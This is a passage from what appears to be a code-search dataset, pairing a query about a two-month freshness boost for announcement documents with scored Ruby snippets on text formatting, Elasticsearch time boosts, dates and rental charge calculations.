(nyan_cat.split(\"\\n\").length - 1)\n length > 0 ? format(\"\\e[1A\" * length + \"\\r\") : \"\\r\"\n end", "title": "" }, { "docid": "81471fb9c7b1a05cbcd44169ebb625c0", "score": "0.5646713", "text": "def eol\n return \"\\n\" if @current == @example_count\n length = (nyan_cat.split(\"\\n\").length - 1)\n length > 0 ? format(\"\\e[1A\" * length + \"\\r\") : \"\\r\"\n end", "title": "" }, { "docid": "441218b6bed021ba8ea1da2c1d34b5ba", "score": "0.5640737", "text": "def sep(i); end", "title": "" }, { "docid": "e1fa168a4e63b131c784f2a8a279762b", "score": "0.5631974", "text": "def hr(col = :dk_gray, width = nil)\n width ||= Console.screen.width - @indent - 1\n end_line\n color(col).writeln '-'*width\n end", "title": "" }, { "docid": "1bc30535fa9f44f06fe83a035dc2c73a", "score": "0.56173456", "text": "def line(i, width)\n (lines[i] || \"\").rjust(width)\n end", "title": "" }, { "docid": "3518ccd502f7b992ace4d7f194c688bc", "score": "0.56140876", "text": "def underline n; escape \"4;#{n}\" end", "title": "" }, { "docid": "6bec630f1e0ddd9fb83310d9e30c09a1", "score": "0.56072235", "text": "def draw_line_hor(row, col_start=0, l=@width, char='-', overwrite=true)\n for col in col_start..(col_start + l - 1)\n a_char = @d_mx[row][col] == '|' ? '+' : char\n @d_mx[row][col] = a_char if @d_mx[row][col] == nil || overwrite\n end\n end", "title": "" }, { "docid": "17c0067be0b823acf8b248e02361e377", "score": "0.5600408", "text": "def menu_seperator\n puts \"-\" * 20\nend", "title": "" }, { "docid": "a5aa0dd91f6923a89f191d0903b61a8b", "score": "0.5585718", "text": "def show_line_separator\n puts \"-----------------------------------------------------------------------\".white.on_red.bold\nend", "title": "" }, { "docid": "253a2ea72d2ac70a38efce28ca024168", "score": "0.558348", "text": "def format(chars)\n chars.each_slice(digit_char_width).map(&:join).join(\"\\n\")\n end", "title": "" }, { "docid": "fbade94ea5261636d9c7bd6ef87aed0e", "score": "0.55821896", "text": "def triangle(length)\n count = 0\n\n while count <= length\n line = '*' * count\n line = line.rjust(length, ' ')\n puts line\n\n count += 1\n end\nend", "title": "" }, { "docid": "d11f36041422f06b925d94ba41e2fa1b", "score": "0.5571563", "text": "def final_line(line, paragraph)\n index = 1\n (line.count - 1).times do\n line.insert(index, ' ')\n index += 2\n end\n return paragraph.join\nend", "title": "" }, { "docid": "1e1c9fda5c0365e5e2d8c823cd88f9a7", "score": "0.5562688", "text": "def separator(text)\n if @separators[options.size]\n @separators[options.size] << \"\\n#{text}\"\n else\n @separators[options.size] = text\n end\n end", "title": "" }, { "docid": "f18b46daad29db3fbc17ff161f6bf65b", "score": "0.5560794", "text": "def h_line\n puts \"-\" * 80\n end", "title": "" } ]
02094c86c27cd5d6cd6b098751fa5af1
An implementation of Curve for 2 months: Behaves as a freshness boost for newer documents with a public_timestamp and search_format_types announcement
[ { "docid": "94416764d5a5836bee5389c314447934", "score": "0.5926193", "text": "def time_boost\n {\n filter: { term: { search_format_types: \"announcement\" } },\n script_score: {\n script: \"((0.05 / ((3.16*pow(10,-11)) * abs(now - doc['public_timestamp'].date.getMillis()) + 0.05)) + 0.12)\",\n params: {\n now: time_in_millis_to_nearest_minute,\n },\n }\n }\n end", "title": "" } ]
[ { "docid": "84e117fe8362fbaca902c6b0eac12eff", "score": "0.58975387", "text": "def time_boost\n {\n filter: { term: { search_format_types: \"announcement\" } },\n script_score: {\n script: {\n lang: \"painless\",\n source: \"((0.05 / ((3.16*Math.pow(10,-11)) * Math.abs(params.now - doc['public_timestamp'].date.getMillis()) + 0.05)) + 0.12)\",\n params: {\n now: time_in_millis_to_nearest_minute,\n },\n },\n },\n }\n end", "title": "" }, { "docid": "fac330901d855e2df2bacc20b8de8d67", "score": "0.5487204", "text": "def period; end", "title": "" }, { "docid": "fac330901d855e2df2bacc20b8de8d67", "score": "0.5487204", "text": "def period; end", "title": "" }, { "docid": "fac330901d855e2df2bacc20b8de8d67", "score": "0.5487204", "text": "def period; end", "title": "" }, { "docid": "5051e3a035d9dfbf2c20e85b7952e916", "score": "0.542259", "text": "def year_frac()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::YearFrac::YearFracRequestBuilder.new(@path_parameters, @request_adapter)\n end", "title": "" }, { "docid": "3852e8d74bb0db9db91c25e4853f720e", "score": "0.52756363", "text": "def grow_one_year(starting_balance, growth_rate)\n starting_balance * (1.0 + growth_rate)\nend", "title": "" }, { "docid": "f16e27c7103c19216bc1fdc07b5a3ce0", "score": "0.52436996", "text": "def us_treas_10_year_rate\n # In real life call a web service to get it, but I will return a constant here\n 0.02124\n end", "title": "" }, { "docid": "3c3c839ecae60d1dd010dba1eaed367e", "score": "0.5144928", "text": "def marc_publication_date(options = {})\n estimate_tolerance = options[:estimate_tolerance] || 15\n min_year = options[:min_year] || 500\n max_year = options[:max_year] || (Time.new.year + 6)\n\n lambda do |record, accumulator|\n date = Marc21Semantics.publication_date(record, estimate_tolerance, min_year, max_year)\n accumulator << date if date\n end\n end", "title": "" }, { "docid": "52b61cfcd568ecd7d6350225676de74a", "score": "0.5140596", "text": "def new_sale_price \n noi(num_years_to_hold + 1) / cap_rate(num_years_to_hold + 1)\n end", "title": "" }, { "docid": "c5d46de6516dd34e0a586e2a08ea43b0", "score": "0.50895417", "text": "def test_08b\n Charges.new(Date.new(2011,05,10),\n Date.new(2011,06,10),\n\t\t1, 1, 20)\n charges = Charge.find_all_by_reservation_id 20\n assert_equal 2, charges.size\n assert_equal 2, charges[0].season_id\n assert_in_delta 0.71, charges[0].period.to_f, 0.005\n assert_equal 360.0, charges[0].rate.to_f\n assert_in_delta 255.48, charges[0].amount.to_f, 0.005\n assert_equal Charge::MONTH, charges[0].charge_units\n assert_equal 3, charges[1].season_id\n assert_in_delta 0.29, charges[1].period.to_f, 0.005\n assert_equal 756.0, charges[1].rate.to_f\n assert_in_delta 219.48, charges[1].amount.to_f, 0.005\n assert_equal Charge::MONTH, charges[1].charge_units\n end", "title": "" }, { "docid": "33cf365ddb7b199f1e04a2fa3b34ca46", "score": "0.5087829", "text": "def w_year; end", "title": "" }, { "docid": "95e3f29bf7b23e232231148c469e9994", "score": "0.5075546", "text": "def publication_year\n end", "title": "" }, { "docid": "7b986f6f57c8511b9f74d90193622040", "score": "0.5048863", "text": "def yearly(options = {})\n branch options.merge(every: :year)\n end", "title": "" }, { "docid": "7b986f6f57c8511b9f74d90193622040", "score": "0.5048863", "text": "def yearly(options = {})\n branch options.merge(every: :year)\n end", "title": "" }, { "docid": "04b4b17c0115bc94b5a916fd59b3470e", "score": "0.5031047", "text": "def extention_valid_date\n if service_learning_risk_date_extention?\n if service_learning_risk_date > DateTime.new(service_learning_risk_date.year, 9, 1) \n DateTime.new(service_learning_risk_date.year.next, 9, 1)\n else \n DateTime.new(service_learning_risk_date.year, 9, 1)\n end\n end\n end", "title": "" }, { "docid": "f85003969dae7ad8bee1e8f0bd594da6", "score": "0.5005982", "text": "def skel_yearly( path_storage, section_path )\n entry_range = path_storage.find\n first_time, last_time = entry_range.last.created, entry_range.first.created\n years = (first_time.year..last_time.year).collect do |y|\n [ Time.mktime( y, 1, 1 ), Time.mktime( y + 1, 1, 1 ) - 1 ]\n end\n years.extend Hobix::Enumerable\n years.each_with_neighbors do |prev, curr, nextm| \n entries = path_storage.within( curr[0], curr[1] )\n page = Page.new( curr[0].strftime( \"%Y/index\" ), section_path )\n page.prev = prev[0].strftime( \"%Y/index\" ) if prev\n page.next = nextm[0].strftime( \"%Y/index\" ) if nextm\n page.timestamp = curr[1]\n page.updated = path_storage.last_updated( entries )\n yield :page => page, :entries => entries\n end\n end", "title": "" }, { "docid": "a050d6d4ab716b379442c50224620d82", "score": "0.5003415", "text": "def make_year(year, bias); end", "title": "" }, { "docid": "0122217dd7141b265d794aa245ef525f", "score": "0.50001043", "text": "def get_price_change_ytd(stock)\n stock_price = get_stock_price(stock)\n ytd_pct_change = get_pct_change_ytd(stock)\n # Calculate the price at the start of the year\n year_start_price = stock_price - (ytd_pct_change*stock_price)\n # get the price change from the start of year to date\n ytd_price_change = stock_price - year_start_price\n return ytd_price_change.round(2)\nend", "title": "" }, { "docid": "c3e2207dfa8db9a4e8e23c8372282a09", "score": "0.49548838", "text": "def year()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::Year::YearRequestBuilder.new(@path_parameters, @request_adapter)\n end", "title": "" }, { "docid": "c6e8fc50eeaffcd2a9c38a7463ee269b", "score": "0.49537975", "text": "def year(input) = new_year(input).year - 621", "title": "" }, { "docid": "0e2ea71c512ca4ddb1f395aa1054a62b", "score": "0.4944928", "text": "def generate_solr_document\n super.tap do |solr_doc|\n solr_doc['year_iim'] = extract_years(object.date_created)\n end\n end", "title": "" }, { "docid": "4b3b368458ecd7630fa3367ed8a04e6a", "score": "0.49300385", "text": "def status_to\n TermsCalculator.this_year_end.to_date\n end", "title": "" }, { "docid": "ce9fe3a023473a84b51d547eb9acc83f", "score": "0.49173924", "text": "def prorated_price_for(year,month)\n m_days = amount_of_days_reserved_in(year,month)\n \n return 0 if m_days == 0\n \n if m_days == days_in(month)\n @monthly_price\n elsif m_days == days_in(month).round(-1) / 2\n @monthly_price / 2 # put this in here just to get line 2 of notes to pass ;)\n else\n (@monthly_price / days_in(month)) * m_days\n end\n end", "title": "" }, { "docid": "a0fb66e1db5d716c8855fc37457d5e17", "score": "0.49107468", "text": "def index_date_info(solr_doc)\n dates = temporal_or_created\n\n unless dates.empty?\n dates.each do |date|\n if date.length() == 4\n date += \"-01-01\"\n end\n\n valid_date = Chronic.parse(date)\n unless valid_date.nil?\n last_digit= valid_date.year.to_s[3,1]\n decade_lower = valid_date.year.to_i - last_digit.to_i\n decade_upper = valid_date.year.to_i + (10-last_digit.to_i)\n if decade_upper >= 2020\n decade_upper =\"Present\"\n end\n Solrizer.insert_field(solr_doc, 'year', \"#{decade_lower} to #{decade_upper}\", :facetable)\n end\n end\n end\n end", "title": "" }, { "docid": "a525600c5aa66bfb69f4fa02931d00ee", "score": "0.49075502", "text": "def years; self * YEAR; end", "title": "" }, { "docid": "55c73100d3841d040923aa32d338454a", "score": "0.48941594", "text": "def getYoYTDBooking(dataDict)\n current, prev = 0.0, 0.0\n\n if dataDict.has_key? :prodSer\n queryObj = {\n :username => dataDict[:user],\n \"periods.prod_ser\" => dataDict[:prodSer],\n \"periods.year\" => dataDict[:maxYear],\n \"periods.quarter\" => nil,\n \"periods.month\" => nil,\n \"periods.week\" => nil,\n }\n else\n queryObj = {\n :username => dataDict[:user],\n \"periods.year\" => dataDict[:maxYear],\n \"periods.quarter\" => nil,\n \"periods.month\" => nil,\n \"periods.week\" => nil,\n }\n end # End of If condition to check if the key prodSer is there\n\n currentDoc = dataDict[:coll].find(queryObj)\n currentDoc.each do |doc|\n current = doc[dataDict[:symbol]][:yAxis][0]\n end\n tempTotal = 0.0\n dataDict[:prevMonth].times do |i|\n month = i + 1\n if dataDict.has_key? :prodSer\n queryObj2 = {\n :username => dataDict[:user],\n \"periods.prod_ser\" => dataDict[:prodSer],\n \"periods.year\" => dataDict[:prevYear].to_s,\n \"periods.month\" => month.to_s,\n \"periods.week\" => nil,\n }\n else\n queryObj2 = {\n :username => dataDict[:user],\n \"periods.year\" => dataDict[:prevYear].to_s,\n \"periods.month\" => month.to_s,\n \"periods.week\" => nil,\n }\n end # End of If condition to check if the key prodSer is there\n prevDoc = dataDict[:coll].find(queryObj2)\n prevDoc.each do |doc|\n tempTotal = doc[:tdBooking][:yAxis][0]\n end # End of prevYearDoc iteration\n prev += tempTotal\n end # End of Month iteration\n returnData = {\n :xAxis => [dataDict[:maxYear]],\n :yAxis => [ScalarCalculators.calculateGrowth(current, prev)],\n :current => [current],\n :prev => [prev],\n }\n return returnData\n end", "title": "" }, { "docid": "dd927f26afd4a33a880e1ab3b1ecc7f5", "score": "0.48928183", "text": "def calculate\n y = 0\n x = 0.1\n while x % 1 != 0\n x = (@price.to_f - @stamp1.to_f * y) / @stamp2.to_f\n y += 1\n end\n y -= 1\n @stamp1 = y.round(0).to_s # 3 cent stamps\n @stamp2 = x.round(0).to_s # 5 cent stamps\n end", "title": "" }, { "docid": "75f944c18b9f4a6d69d478e6b4139834", "score": "0.4883115", "text": "def rate=(_arg0); end", "title": "" }, { "docid": "75f944c18b9f4a6d69d478e6b4139834", "score": "0.4883115", "text": "def rate=(_arg0); end", "title": "" }, { "docid": "0da9df680ca67ebe75d6ac64f0fb1a0b", "score": "0.4881185", "text": "def test_08c\n Rate.find_all_by_price_id(1).each {|r| r.update_attribute :monthly_rate, 0.0}\n Charges.new(Date.new(2011,05,10),\n Date.new(2011,06,10),\n\t\t1, 1, 20)\n charges = Charge.find_all_by_reservation_id 20\n assert_equal 3, charges.size\n\n assert_equal 2, charges[0].season_id\n assert_in_delta 3.143, charges[0].period.to_f, 0.005\n assert_equal 90.0, charges[0].rate.to_f\n assert_in_delta 282.86, charges[0].amount.to_f, 0.005\n assert_equal Charge::WEEK, charges[0].charge_units\n\n assert_equal 3, charges[1].season_id\n assert_in_delta 0.857, charges[1].period.to_f, 0.005\n assert_equal 189.0, charges[1].rate.to_f\n assert_in_delta 162.00, charges[1].amount.to_f, 0.005\n assert_equal Charge::WEEK, charges[1].charge_units\n\n assert_equal 3, charges[2].season_id\n assert_in_delta 3.0, charges[2].period.to_f, 0.005\n assert_equal 31.5, charges[2].rate.to_f\n assert_in_delta 94.5, charges[2].amount.to_f, 0.005\n assert_equal Charge::DAY, charges[2].charge_units\n end", "title": "" }, { "docid": "d9a6847b7b3206aaf26e631199033b4e", "score": "0.4877433", "text": "def odd_l_price()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::OddLPrice::OddLPriceRequestBuilder.new(@path_parameters, @request_adapter)\n end", "title": "" }, { "docid": "e71d6336c5b0322293a5da4a1f1da205", "score": "0.48547608", "text": "def initialize(args)\n @old_loan_amount = args[:old_loan_amount].to_f\n @periods = args[:periods].to_f\n @new_interest_rate = args[:new_interest_rate].to_f / 12\n @new_interest_rate_cash_out = args[:new_interest_rate_cash_out] / 12\n @lender_credit = args[:lender_credit].to_f\n @lender_credit_cashout = args[:lender_credit_cashout].to_f\n @estimated_closing_costs = args[:estimated_closing_costs].to_f\n @estimated_closing_costs_cash_out = args[:estimated_closing_costs_cash_out].to_f\n @current_home_value = args[:current_home_value].to_f\n @original_loan_date = args[:original_loan_date]\n @old_interest_rate = args[:old_interest_rate] / 12\n @start_due_date = (Time.zone.now + 2.months).beginning_of_month\n end", "title": "" }, { "docid": "20f2af1f57a05abc6f75c6cb803e2c47", "score": "0.48495746", "text": "def last_years_performance\n client = YahooFinance::Client.new\n quotes = client.historical_quotes(self.stock_symbol, {period: :monthly})\n last_years_quotes = quotes.select {|quote| quote.trade_date.include?(1.year.ago.year.to_s)}\n last_years_quotes.map {|quote| quote.close.to_f * quantity}.reverse\n end", "title": "" }, { "docid": "f6464cfdbb0670a38767c27b33983f72", "score": "0.4835368", "text": "def frm(r, n, po)\n\t## \n\t# interest rate is converted to fraction and made a monthly\n\tr = r.to_f/100/12\n\t##\n\t#number of years is converted to number of months\n\tn = n * 12\n\t##\n\t#monthly payment is calculated\n\tc = (r / (1 - (1+r) ** -n) ) * po\n\treturn c\nend", "title": "" }, { "docid": "12e0af935893e4208e8c3d9e2cba65ba", "score": "0.48315597", "text": "def at(offset, year); end", "title": "" }, { "docid": "12e0af935893e4208e8c3d9e2cba65ba", "score": "0.48315597", "text": "def at(offset, year); end", "title": "" }, { "docid": "6b650f0ba8d969b6ead8b881fb97f113", "score": "0.4828863", "text": "def year() end", "title": "" }, { "docid": "2d08ce51078803b14696c8cdc1074bad", "score": "0.48138854", "text": "def book_royalty(period='enddate', basis=\"Net receipts\")\n royarray = []\n sales = self.book_sales(period, basis, false) # this calls the royalty calculation for net receipts\n sales.each do |sale|\n royarray << sale.royalty_by_band.inject(0) { |sum, i| sum + i.to_f unless i.nan? || i.nil? }\n end\n book_royalty = royarray.inject(0) { |sum, i| sum +i.to_f }\n end", "title": "" }, { "docid": "df53390c6ccc96b687ec9dc52655de70", "score": "0.480959", "text": "def test_28day_mo\n Charges.new(Date.new(2011,02,15),\n Date.new(2011,03,15),\n\t\t1, 1, 20)\n charges = Charge.find_all_by_reservation_id 20\n assert_equal 1, charges.size\n assert_equal 1, charges[0].season_id\n assert_equal Date.new(2011,02,15), charges[0].start_date\n assert_equal Date.new(2011,03,15), charges[0].end_date\n assert_equal 1.0, charges[0].period.to_f\n assert_equal 288.0, charges[0].rate.to_f\n assert_equal 288.0, charges[0].amount.to_f\n assert_equal 0.0, charges[0].discount.to_f\n assert_equal Charge::MONTH, charges[0].charge_units\n end", "title": "" }, { "docid": "465305102872775862c727f1fdfb4e74", "score": "0.48070282", "text": "def time_file (doc2, estimate)\n\n#Hash to store the count of [Next], [Submit], etc.\n\tcounthash = Hash.new\n\tcounthash[\"[Next]\"] = 0\n\tcounthash[\"[Submit]\"] = 0\n\n#TO DO: update so that it finds the search criteria from the entered keywords\n# Count the number of [Next]s, [Submit, Long]s\n# and multiply by the time assigned to each keyword\n\tdoc2.paragraphs.each do |p|\n\t\tcounthash[\"[Next]\"] += 6*p.to_s.scan(/(\\[(n|N)ext)|((n|N)ext\\])/).size\n\t\tcounthash[\"[Submit]\"] += estimate*p.to_s.scan(/\\[(S|s)ubmit/).size\n\tend\n\n#prints times associated with [Next], [Submit, *], etc.\n\treturn counthash\n\nend", "title": "" }, { "docid": "73f6cb02405c846bd78bc6fa5726832e", "score": "0.48039317", "text": "def class_lifeline_ticker es, class_name, upto_date = Time.now.month_start\n active_months = class_months(es, class_name)\n range = month_range(active_months.first, upto_date)\n range.map {|mo| active_months.include?(mo) ? \"*\" : \".\" }.join\nend", "title": "" }, { "docid": "e1e32c5f263db4f4074a2583f2b867dd", "score": "0.48012307", "text": "def single_pub_year(ignore_approximate, method_sym)\n result = send(method_sym, date_issued_elements(ignore_approximate))\n result ||= send(method_sym, date_created_elements(ignore_approximate))\n # dateCaptured for web archive seed records\n result || send(method_sym, mods_ng_xml.origin_info.dateCaptured.to_a)\n end", "title": "" }, { "docid": "eeb82359ff9851c5e82d1890f88ab224", "score": "0.47965786", "text": "def initialize(last_updated, rate = DEFAULT_DECAY_RATE)\n @last_updated = last_updated\n @rate = rate\n end", "title": "" }, { "docid": "a363649dfd13bc1e7c3b5a0cb6c8336c", "score": "0.4788791", "text": "def annualized_30_day_return_volatility(params = {})\n timeseries = params.is_a?(Timeseries) ? params : Timeseries.new(params)\n timeseries.tick = \"1 day\"\n timeseries.from = timeseries.from - 30.days < Timeseries::OLDEST ? Timeseries::OLDEST : timeseries.from - 30.days\n dataset = global_ppi(timeseries).order(:tick)\n .from_self\n .select(:tick, :global_ppi)\n .select_append{ count(global_ppi).over(frame: \"rows 29 preceding\").as(:preceding_rows) }\n .select_append{ ln(global_ppi / lag(global_ppi).over(order: :tick)).as(:daily_return) }\n .from_self\n .select(:tick, :global_ppi, :preceding_rows)\n .select_append{\n round(\n (stddev(daily_return).over(order: :tick, frame: \"rows 29 preceding\") * sqrt(365) * 100).cast(:numeric),\n 2\n ).as(:vol_30d)\n }\n .from_self\n .select(:tick, :global_ppi, :vol_30d)\n .where(preceding_rows: 30)\n .exclude(vol_30d: nil)\n end", "title": "" }, { "docid": "759598d6673b8f681fc039dbb67dfca1", "score": "0.4783919", "text": "def rate; end", "title": "" }, { "docid": "759598d6673b8f681fc039dbb67dfca1", "score": "0.4783919", "text": "def rate; end", "title": "" }, { "docid": "acb249a688948e736f6446a03655dd31", "score": "0.47818097", "text": "def test_bucketized_1\r\n \tp \"--- Testing bucketized model --- \"\r\n\r\n \t# bucketized with sec buckets\r\n\tmod = GerbilCharts::Models::BucketizedTimeSeriesGraphModel.new(\"TestModel2\",5 * 60)\r\n\t@tvector.each do |tpl|\r\n\t\tmod.add (tpl[0],tpl[1])\r\n\tend\r\n\r\n\tdbg_print_model(mod)\r\n\r\n\t# print data points\r\n\tmod.each_tuple do |x,y|\r\n\t\tp \"bkt #{Time.at(x)} = #{y}\"\r\n\tend\r\n end", "title": "" }, { "docid": "42727549405a4e609cf8b801d0777cf3", "score": "0.4780292", "text": "def year; end", "title": "" }, { "docid": "42727549405a4e609cf8b801d0777cf3", "score": "0.4780292", "text": "def year; end", "title": "" }, { "docid": "cf49a0b96877c05d5220a95bd3f0d4a7", "score": "0.47751716", "text": "def convert_year_to_x_point(year)\n step = 1494 / (2014 - $BORN_YEAR + 1) \n return xp = 180 + step * (year - BORN_YEAR)\nend", "title": "" }, { "docid": "2c3705d0c4bc3e54e76ced578d1cf404", "score": "0.47750223", "text": "def test_08d\n Rate.find_all_by_price_id(1).each {|r| r.update_attribute :monthly_rate, 0.0}\n Rate.find_all_by_price_id(1).each {|r| r.update_attribute :weekly_rate, 0.0}\n Charges.new(Date.new(2011,05,10),\n Date.new(2011,06,10),\n\t\t1, 1, 20)\n charges = Charge.find_all_by_reservation_id 20\n # charges.each {|c| p c.inspect}\n assert_equal 2, charges.size\n\n assert_equal 2, charges[0].season_id\n assert_in_delta 22.0, charges[0].period.to_f, 0.005\n assert_equal 15.0, charges[0].rate.to_f\n assert_in_delta 330.00, charges[0].amount.to_f, 0.005\n assert_equal Charge::DAY, charges[0].charge_units\n\n assert_equal 3, charges[1].season_id\n assert_in_delta 9.0, charges[1].period.to_f, 0.005\n assert_equal 31.5, charges[1].rate.to_f\n assert_in_delta 283.5, charges[1].amount.to_f, 0.005\n assert_equal Charge::DAY, charges[1].charge_units\n end", "title": "" }, { "docid": "ae4301a958b192f734f7062ef294f45d", "score": "0.47706217", "text": "def book_sales(period='enddate', basis, exclude)\n royalty_period = Period.where([\"currentperiod = ? and client_id = ?\", true, self.client_id])\n if period == 'startdate'\n self.calculate_book_royalties(self, royalty_period.first.enddate, royalty_period.first.startdate, basis, exclude)\n else #if period isn't 'startdate'\n self.calculate_book_royalties(self, royalty_period.first.enddate, \"1900-01-01\", basis, exclude)\n end\n end", "title": "" }, { "docid": "d79fc1dddc9e423653cc33dc838589ba", "score": "0.47565037", "text": "def refere_based_on_diput\n yy = self.starting_at.year\n mm = self.starting_at.month\n if yy >= 2000\n yy = yy - 2000\n end\n if yy > 1900\n yy = yy - 1900\n end\n diput = !self.subscriber.blank? ? self.subscriber.diput : self.client.diput\n (yy * 10000000000) + (mm * 100000000) + diput.to_i\n end", "title": "" }, { "docid": "38c9bd238d53c9f9100cdd5f4f030a74", "score": "0.47469744", "text": "def ticker(*markets); end", "title": "" }, { "docid": "e2e156003af4a74698415e36ffa00a2f", "score": "0.47387964", "text": "def calculate\n calculate_for_dates(bucket_dates)\n end", "title": "" }, { "docid": "b4bbf2706cf2a0c3e35d0cb4251eb3a9", "score": "0.47356114", "text": "def transition(year, month, offset_id, timestamp_value, datetime_numerator = T.unsafe(nil), datetime_denominator = T.unsafe(nil)); end", "title": "" }, { "docid": "a722c86dc6f2638c47d75c8f6dacd35c", "score": "0.47348174", "text": "def test_method_returns_exchange_rate__given_date_as_string\n assert_equal(0.78,ExchangeRate.at(\"2018-11-29\",\"GBP\",\"USD\"))\n end", "title": "" }, { "docid": "4681cdaf25665d3cd9badd46e6984c4d", "score": "0.47342923", "text": "def initialize(*args)\n if args.length == 1 and args.first.is_a?(Time)\n self.update_from_time(args.first)\n return nil\n elsif args.empty?\n self.update_from_time(Time.now)\n return nil\n end\n \n #Handle nil-support.\n all_nil = true\n args.each do |arg|\n if arg != 0 and arg\n all_nil = false\n break\n end\n end\n \n if all_nil\n @t_nil = true\n @t_year = 0\n @t_month = 0\n @t_day = 0\n @t_hour = 0\n @t_min = 0\n @t_sec = 0\n @t_usec = 0\n return nil\n end\n \n \n #Normal date-calculation support.\n days_left = 0\n months_left = 0\n hours_left = 0\n mins_left = 0\n secs_left = 0\n usecs_left = 0\n \n #Check larger month the allowed.\n if args[1] and args[1] > 12\n months_left = args[1] - 12\n args[1] = 12\n end\n \n #Check larger date than allowed.\n if args[1]\n dim = Datet.days_in_month(args[0], args[1])\n if args[2] and args[2] > dim\n days_left = args[2] - dim\n args[2] = dim if days_left > 0\n end\n end\n \n #Check larger hour than allowed.\n if args[3] and args[3] >= 24\n hours_left = args[3] + 1\n args[3] = 0\n end\n \n #Check larger minute than allowed.\n if args[4] and args[4] >= 60\n mins_left = args[4] + 1\n args[4] = 0\n end\n \n #Check larger secs than allowed.\n if args[5] and args[5] >= 60\n secs_left = args[5] + 1\n args[5] = 0\n end\n \n #Check larger usecs than allowed.\n if args[6] and args[6] >= 1000000\n usecs_left = args[6] + 1\n args[6] = 0\n end\n \n #Generate new stamp.\n if args[0]\n @t_year = args[0]\n else\n @t_year = Time.now.year\n end\n \n if args[1]\n @t_month = args[1]\n else\n @t_month = 1\n end\n \n if args[2]\n @t_day = args[2]\n else\n @t_day = 1\n end\n \n if args[3]\n @t_hour = args[3]\n else\n @t_hour = 0\n end\n \n if args[4]\n @t_min = args[4]\n else\n @t_min = 0\n end\n \n if args[5]\n @t_sec = args[5]\n else\n @t_sec = 0\n end\n \n if args[6]\n @t_usec = args[6]\n else\n @t_usec = 0\n end\n \n self.add_mins(mins_left) if mins_left > 0\n self.add_hours(hours_left) if hours_left > 0\n self.add_days(days_left) if days_left > 0\n self.add_months(months_left) if months_left > 0\n self.add_secs(secs_left) if secs_left > 0\n self.add_usecs(usecs_left) if usecs_left > 0\n end", "title": "" }, { "docid": "db85ca06bc81b371c52840e2c392e59d", "score": "0.473366", "text": "def year_to_month_rate_convert(apr_in_decimals, loan_duration)\n ((1 + (apr_in_decimals / loan_duration))**loan_duration) - 1\nend", "title": "" }, { "docid": "9db3f2a96339e242719930692407a584", "score": "0.47277704", "text": "def decades() 10 * years end", "title": "" }, { "docid": "0a5adc9163dcd8741755853eb2aea6e9", "score": "0.47226468", "text": "def get_earnings\n get_historic_eps(1)\n end", "title": "" }, { "docid": "be06d3e5accedc09bae9bd63f0826eef", "score": "0.4707914", "text": "def monthly\n end", "title": "" }, { "docid": "e18cba772f8e7e8a5f6385afc983f03a", "score": "0.4706062", "text": "def test_13\n Charges.new(Date.new(2011,04,15),\n Date.new(2011,10,15),\n\t\t4, 1, 20)\n charges = Charge.find_all_by_reservation_id 20\n assert_equal 4, charges.size\n assert_equal 2, charges[0].season_id\n assert_in_delta 1.53, charges[0].period.to_f, 0.005\n assert_equal 370.0, charges[0].rate.to_f\n assert_in_delta 567.32, charges[0].amount.to_f, 0.01\n assert_equal Charge::MONTH, charges[0].charge_units\n assert_equal 3, charges[1].season_id\n assert_in_delta 1.0, charges[1].period.to_f, 0.005\n assert_equal 500.0, charges[1].rate.to_f\n assert_in_delta 500, charges[1].amount.to_f, 0.005\n assert_equal Charge::MONTH, charges[1].charge_units\n assert_equal 4, charges[2].season_id\n assert_in_delta 2.0, charges[2].period.to_f, 0.005\n assert_equal 785.0, charges[2].rate.to_f\n assert_in_delta 1570.0, charges[2].amount.to_f, 0.005\n assert_equal Charge::MONTH, charges[2].charge_units\n assert_equal 5, charges[3].season_id\n assert_in_delta 1.47, charges[3].period.to_f, 0.005\n assert_equal 410.0, charges[3].rate.to_f\n assert_in_delta 601.33, charges[3].amount.to_f, 0.005\n assert_equal Charge::MONTH, charges[3].charge_units\n end", "title": "" }, { "docid": "e24716511d639fa166e17e40b49902ce", "score": "0.4705524", "text": "def test_price_increase\n upload_catalog('Catalog-v1.xml', false, @user, @options)\n\n create_basic_entitlement(1, 'MONTHLY', '2013-08-01', '2013-09-01', 1000.0)\n\n # Effective date of the second catalog is 2013-09-01\n upload_catalog('Catalog-v2.xml', false, @user, @options)\n\n # Original subscription is grandfathered\n add_days_and_check_invoice_item(31, 2, 'basic-monthly', '2013-09-01', '2013-10-01', 1000.0)\n\n # Create a new subscription and check the new price is effective\n create_basic_entitlement(3, 'MONTHLY', '2013-09-01', '2013-10-01', 1200.0)\n\n add_days_and_check_invoice_balance(30, 4, '2013-10-01', 2200.0)\n end", "title": "" }, { "docid": "75c96ce0b7fe50c6cb3b8b1d84ee5f99", "score": "0.46996748", "text": "def graph_for_update_monthly_report\n start_date = (params[:start_date]).to_date\n end_date = (params[:end_date]).to_date\n\n expenses = Hash[params.select {|x,y| x.match /ECATEGORY(.)*/ }]\n incomes = Hash[params.select {|x,y| x.match /ICATEGORY(.)*/ }]\n other_expenses = Hash[params.select {|x,y| x.match /EOCATEGORY(.)*/ }]\n other_incomes = Hash[params.select {|x,y| x.match /IOCATEGORY(.)*/ }]\n\n donations_total = params[:donations].present? ? params[:donations].to_f : 0\n fees = params[:fees].present? ? params[:fees].to_f : 0\n salary = params[:salary].present? ? params[:salary].to_f : 0\n refund = params[:refund].present? ? params[:refund].to_f : 0\n\n income = expense = 0\n\n x_labels = []\n data = []\n largest_value = 0\n\n if salary > 0\n x_labels << \"#{t('employee_salary')}\"\n data << -(salary)\n largest_value = salary if largest_value < salary\n end\n\n if donations_total > 0\n x_labels << \"#{t('donations')}\"\n data << donations_total\n largest_value = donations_total if largest_value < donations_total\n end\n\n if fees > 0\n x_labels << \"#{t('student_fees')}\"\n data << FedenaPrecision.set_and_modify_precision(fees).to_f\n largest_value = fees if largest_value < fees\n end\n\n incomes.each_pair do |cat, amt|\n x_labels << \"#{t(cat.gsub('ICATEGORY',''))}\"\n data << amount = amt.to_f\n largest_value = amount if largest_value < amount\n end\n\n expenses.each_pair do |cat, amt|\n x_labels << \"#{t(cat.gsub('ECATEGORY',''))}\"\n data << amount = amt.to_f\n largest_value = amount if largest_value < amount\n end\n\n other_expenses.each_pair do |cat, amt|\n expense += amt.to_f\n end\n\n other_incomes.each_pair do |cat, amt|\n income += amt.to_f\n end\n\n if income > 0\n x_labels << 